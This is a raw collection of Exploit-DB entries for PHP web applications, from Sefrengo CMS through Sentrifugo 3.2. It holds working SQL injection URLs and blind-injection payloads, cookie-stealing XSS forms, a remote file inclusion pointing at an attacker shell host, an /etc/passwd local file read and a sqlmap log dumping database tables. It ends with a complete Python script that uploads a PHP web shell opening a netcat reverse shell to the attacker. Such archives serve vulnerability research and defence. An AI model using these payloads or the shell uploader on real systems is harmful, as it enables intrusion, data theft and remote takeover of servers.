deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35722
Description: Sefrengo CMS 1.6.0 - SQL Injection
Type: webapps
Platform: php
Date: 2015-01-07
Author: Steffen Rösemann

Exploit:
Advisory: SQL-Injection in administrative Backend of Sefrengo CMS v.1.6.0
Advisory ID: SROEADV-2015-04
Author: Steffen Rösemann
Affected Software: CMS Sefrengo v.1.6.0 (Release-Date: 18th-Feb-2014)
Vendor URL: http://www.sefrengo.org/start/start.html
Vendor Status: fixed
CVE-ID: -

==========================
Vulnerability Description:
==========================

The Content Management System Sefrengo v.1.6.0 contains SQL-Injection
vulnerabilities in its administrative Backend.

==================
Technical Details:
==================

The administrative Backend of Sefrengo CMS contains a functionality to edit
folders which reside on the CMS. Its located here:

http://{TARGET}/backend/main.php?area=con_configcat&idcat=1&idtplconf=0

The parameter „idcat“ ist vulnerable against SQL-Injection. An attacker
could abuse this to send crafted URLs to the administrator via mail to
execute own SQL commands (e.g. create a second admin-account).

Exploit-Example:

http://
{TARGET}/backend/main.php?area=con_configcat&idcat=1'+and+'1'='2'+union+select+version(),user(),3,4+--+&idtplconf=0

Another SQL-Injection vulnerability can be found in the administrative
backend, where the admin can manage installed plugins. The vulnerable
parameter is „idclient“ in the following URL:

http://{TARGET}/backend/main.php?area=plug&idclient=1

Exploit-Example:

http://
{TARGET}/backend/main.php?area=plug&idclient=1%27+and+%271%27=%272%27+union+select+1,version%28%29,user%28%29,4,database%28%29,6,7,8,9,10,11,12,13,14+--+

=========
Solution:
=========

Update to the latest version

====================
Disclosure Timeline:
====================
21-Dec-2014 –found the vulnerability
21-Dec-2014 - informed the developers
22-Dec-2014 - response by vendor
04-Jan-2015 – fix by vendor
04-Jan-2015 - release date of this security advisory
04-Jan-2015 - post on BugTraq / FullDisclosure

========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

http://www.sefrengo.org/start/start.html
http://sroesemann.blogspot.de
Exploit-DB #2600
Description: Segue CMS 1.5.8 - 'themesdir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-19
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ Segue CMS <= 1.5.8 (themesdir) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: Segue CMS <= 1.5.8
+ Vendor ............: http://segue.middlebury.edu/
+ Download ..........: http://sourceforge.net/project/showfiles.php?group_id=82171
+ Description .......: "Segue is an open source collaborative content management system"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Segue CMS themes/program/themesettings.inc.php does not intialize the $themesdir variable
+ before using it to include files, assuming register_globals = on, we can intialize the
+ variable in a query string and include a remote file of our choice. Tested and working on
+ version 1.5.4 and 1.5.8 (previous versions may also be affected).
+ 
+ Vulnerable Code:
+ themes/program/themesettings.inc.php, line(s) 02: include("$themesdir/$theme/colors.inc.php");
+ 
+ Proof of Concept:
+ http://[target]/[path]/themes/program/themesettings.inc.php?themesdir=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-19]
Exploit-DB #28309
Description: Seir Anphin V666 Community Management System - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-07-31
Author: CR

Exploit:
source: https://www.securityfocus.com/bid/19244/info

Seir Anphin V666 Community Management System is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks.

A successful attack could allow an attacker to compromise the software, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?m=&#039;
http://www.example.com/index.php?m=member&id=&#039;
Exploit-DB #41535
Description: Select Your College Script 2.01 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Select Your College Script v2.01 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/select-your-college-script/
# Demo: http://schoolcollageerp.com/selectyourcollege/
# Version: 2.01
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/searchresult.php?institute=[SQL]
# http://localhost/[PATH]/searchresult.php?namesearch&name=[SQL]
# http://localhost/[PATH]/searchcourse.php?categoryid=[SQL]
# http://localhost/[PATH]/collegedetails.php?id=[SQL]
# Etc...
# # # # #
Exploit-DB #35701
Description: SelectaPix 1.4.1 - 'uploadername' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-03
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47701/info

SelectaPix is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

SelectaPix 1.4.1 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/upload.php?albumID=1&parentID=0&request=single" method="post" name="main" id="main">
<input type="hidden" name="uploadername" value=&#039;"><script>alert(document.cookie);</script>&#039;>
<input type="submit" value="OK">
</form>
Exploit-DB #34146
Description: Sell@Site PHP Online Jobs Login - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-06-15
Author: L0rd CrusAd3r

Exploit:
source:  https://www.securityfocus.com/bid/40869/info

Sell@Site PHP Online Jobs is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 


The following example data are available:

Username: a' or '1'='1
Password: a' or '1'='1
Exploit-DB #51161
Description: Senayan Library Management System v9.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-03-31
Author: nu11secur1ty

Exploit:
## Exploit Title: Senayan Library Management System v9.0.0 - SQL Injection
## Author: nu11secur1ty
## Date: 11.09.2022
## Vendor: https://slims.web.id/web/
## Software: https://github.com/slims/slims9_bulian/releases/download/v9.0.0/slims9_bulian-9.0.0.zip
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.0.0/SQLi

## Description:
The manual insertion `point 3` with `class` parameter appears to be
vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\0absu0byc9uwy8ivftx7f6auul0fo5cwfk6at2hr.again.com\\fbe'))+'
was submitted in the manual insertion point 3.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.

## STATUS: HIGH Vulnerability

[+] Payload:

```MySQL
---
Parameter: class (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause
    Payload: reportView=true&year=2002&class=bbbb''' RLIKE (SELECT
(CASE WHEN (2547=2547) THEN 0x[PII_REDACTED]27 ELSE 0x28 END)) AND
'dLjf'='dLjf&membershipType=a&collType=aaaa
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.0.0/SQLi)

## Proof and Exploit:
[href](http://localhost:5001/sy5wji)

## Time spent
`03:00:00`

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #51120
Description: Senayan Library Management System v9.5.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-03-28
Author: nu11secur1ty

Exploit:
## Title: Senayan Library Management System v9.5.0 - SQL Injection 
## Author: nu11secur1ty
## Date: 11.03.2022
## Vendor: https://slims.web.id/web/
## Software: https://github.com/slims/slims9_bulian/releases
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.0

## Description:
The `keywords` parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the keywords parameter, and a general
error message was returned.
Two single quotes were then submitted and the error message
disappeared. The injection is confirmed manually from nu11secur1ty.
The attacker can retrieve all information from the database of this
system, by using this vulnerability.

## STATUS: HIGH Vulnerability

[+] Payload:

```MySQL
---
Parameter: keywords (GET)
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: csrf_token=a1266f4d54772e420f61cc03fe613b994f282c15271084e39c31f9267b55d50df06861&search=search&keywords=tfxgst7flvw5snn6r1b24fnyu8neev6w4v6u1uik7''')));SELECT
SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)
    Payload: csrf_token=a1266f4d54772e420f61cc03fe613b994f282c15271084e39c31f9267b55d50df06861&search=search&keywords=tfxgst7flvw5snn6r1b24fnyu8neev6w4v6u1uik7''')))
RLIKE (SELECT 9971 FROM (SELECT(SLEEP(5)))bdiv)#
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.0)

## Proof and Exploit:
[href](https://streamable.com/63og5v)

## Time spent
`3:00`

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #3827
Description: Sendcard 3.4.1 - 'sendcard.php?form' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-05-01
Author: ettee

Exploit:
Sendcard  (sendcard.php) Sendcard Local File Inclusion Vulnerability

Discovered: ettee
Dork: "Powered by sendcard - an advanced PHP e-card program" -site:sendcard.org
         "powered by Sendcard"

Bug:
"// Get the template details
if(!isset($form) || $form == ''){
    $form = "form";
}
if(!isset($des) || $des == ''){
    $des = "card";
}
if (!isset($template) || $template == '') {
    $template = 'message';
}"

PoC:
http://[site]/[path]/sendcard.php?form=/etc/passwd%00

# milw0rm.com [2007-05-01]
Exploit-DB #41284
Description: Sendroid 5.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Sendroid - Bulk SMS Portal, Marketing v5.2 Script - SQL Injection
# Google Dork: N/A
# Date: 09.02.2017
# Vendor Homepage: http://ynetinteractive.com/
# Software Buy: https://codecanyon.net/item/sendroid-bulk-sms-portal-marketing-2way-messaging-script-with-mobile-app/14657225
# Demo: http://demo.ynetinteractive.com/sendroid/app/
# Version: 5.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as customer User
# http://localhost/[PATH]/Compose.php?msgID=[SQL]
# http://localhost/[PATH]/Compose.php?smsgID=[SQL]
# Etc...
# # # # #
Exploit-DB #33450
Description: SendStudio 4.0.1 - Cross-Site Scripting / Security Bypass
Type: webapps
Platform: php
Date: 2009-12-31
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37554/info

SendStudio (also called Email Marketer) is prone to a cross-site scripting issue and a security-bypass issue.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site steal cookie-based authentication credentials and gain unauthorized administrative access to the affected application.

The vendor reports that Interspire Email Marketer 6 is not affected. 

1- XSS (High)
  
http://www.example.com/wl-ssf41/admin/index.php/index?SID=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>

2- Bay Pass (Medium)
  
http://www.example.com/wl-ssf41/admin/index.php/index?SID=xx
Exploit-DB #31898
Description: Sendy 1.1.8.4 - SQL Injection
Type: webapps
Platform: php
Date: 2014-02-25
Author: Hurley

Exploit:
# Exploit Title: Sendy SqlInject
# Date: 2014-02-24
# Exploit Author: Hurley
# Vendor Homepage: http://sendy.co/
# Software Link: http://sendy.co/
# Version: 1.1.8.4

Demo page:
http://server/app?i=1+union+all+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
Exploit-DB #32814
Description: Sendy 1.1.9.1 - SQL Injection
Type: webapps
Platform: php
Date: 2014-04-11
Author: delme

Exploit:
# Exploit Title: Sendy 1.1.9.1 - SQL Injection Vulnerability
# Date: 2014-04-10
# Exploit Author: marduk369
# Vendor Homepage: http://sendy.co/
# Software Link: http://sendy.co/
# Version: 1.1.9.1

root@kali:~# sqlmap -u 'http://server1/send-to?i=1&c=10' --cookie="version=1.1.9.1; PHPSESSID=[phpsessid value]; logged_in=[logged_in value]" -p c -D sendy --tables

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:48:57

[11:48:57] [INFO] resuming back-end DBMS 'mysql' 
[11:48:57] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: c
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: c=10 AND SLEEP(5)&i=1
---
[11:48:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0.11
[11:48:58] [INFO] fetching tables for database: 'sendy'
[11:48:58] [INFO] fetching number of tables for database 'sendy'
[11:48:58] [WARNING] time-based comparison requires larger statistical model, please wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[11:49:50] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors 
[11:50:31] [INFO] adjusting time delay to 3 seconds due to good response times
9
[11:50:33] [INFO] retrieved: ap
[11:53:39] [ERROR] invalid character detected. retrying..
[11:53:39] [WARNING] increasing time delay to 4 seconds 
ps
[11:56:31] [INFO] retrieved: ares
[12:00:00] [INFO] retrieved: ares_emails
[12:08:38] [INFO] retrieved: campaigns
[12:18:08] [INFO] retrieved: links
[12:24:28] [ERROR] invalid character detected. retrying..
[12:24:28] [WARNING] increasing time delay to 5 seconds 

[12:24:31] [INFO] retrieved: lists
[12:29:49] [INFO] retrieved: login
[12:36:33] [ERROR] invalid character detected. retrying..
[12:36:33] [WARNING] increasing time delay to 6 seconds 

[12:36:37] [INFO] retrieved: queue
[12:43:51] [INFO] retrieved: subscribers
Database: sendy
[9 tables]
+-------------+
| apps        |
| ares        |
| ares_emails |
| campaigns   |
| links       |
| lists       |
| login       |
| queue       |
| subscribers |
+-------------+

[13:00:16] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/server1'

[*] shutting down at 13:00:16
Exploit-DB #37942
Description: SenseSites CommonSense CMS - 'article.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-06
Author: H4ckCity Security Team

Exploit:
source: https://www.securityfocus.com/bid/55893/info
  
CommonSense CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/article.php?id=5 [SQL Injection]
Exploit-DB #37940
Description: SenseSites CommonSense CMS - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-06
Author: H4ckCity Security Team

Exploit:
source: https://www.securityfocus.com/bid/55893/info

CommonSense CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/cat2.php?id=1 [SQL Injection]
Exploit-DB #37941
Description: SenseSites CommonSense CMS - 'special.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-06
Author: H4ckCity Security Team

Exploit:
source: https://www.securityfocus.com/bid/55893/info
 
CommonSense CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
 http://www.example.com/special.php?id=1 [SQL Injection]
Exploit-DB #48997
Description: Sentrifugo 3.2 - 'assets' Remote Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2020-11-06
Author: Fatih Çelik

Exploit:
# Exploit Title: Sentrifugo 3.2 - 'assets' Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020.10.06
# Exploit Author: Fatih Çelik
# Vendor Homepage: https://sourceforge.net/projects/sentrifugo/
# Software Link: https://sourceforge.net/projects/sentrifugo/
# Blog: https://fatihhcelik.blogspot.com/2020/10/sentrifugo-version-32-rce-authenticated_6.html
# Version: 3.2
# Tested on: Kali Linux 2020.2
# CVE : N/A

import requests
from bs4 import BeautifulSoup
from ast import literal_eval

'''
You should change the below hardcoded inputs to get a reverse shell.
'''

login_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/index/loginpopupsave"
upload_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/assets/assets/uploadsave"
call_shell = "http://XXX.XXX.XXX.XXX/sentrifugo/public/uploads/assets_images_temp/"
username = "xxxx"
password = "xxxx"

attacker_ip = "XXX.XXX.XXX.XXX"
listener_port = "4444"

# Set proxy for debugging purposes

proxy = {"http": "http://XXX.XXX.XXX.XXX:8080"}

# Log in to the system

session = requests.Session()
request = session.get(login_url)
body = {"username":username,"password":password}
# session.post(login_url, data=body, proxies=proxy) 
session.post(login_url, data=body) # Send a request without proxy
print("Logged in to the application..")

# Upload the PHP shell
files = [
    ('myfile', 
        ('shell.php',
        '<?php system(\'nc.traditional {} {} -e /bin/bash\'); ?>'.format(attacker_ip,listener_port),
        'image/jpeg')
    )
]
# r = session.post(upload_url, files=files, proxies=proxy)
r = session.post(upload_url, files=files) # Send a request without proxy
response = r.content
dict_str = response.decode("UTF-8")
response = literal_eval(dict_str) # Convert bytes to dictionary
filename = response["filedata"]["new_name"]
url = call_shell + filename
print("PHP file is uploaded --> {}".format(url))

# Trigger the shell
session.get(url)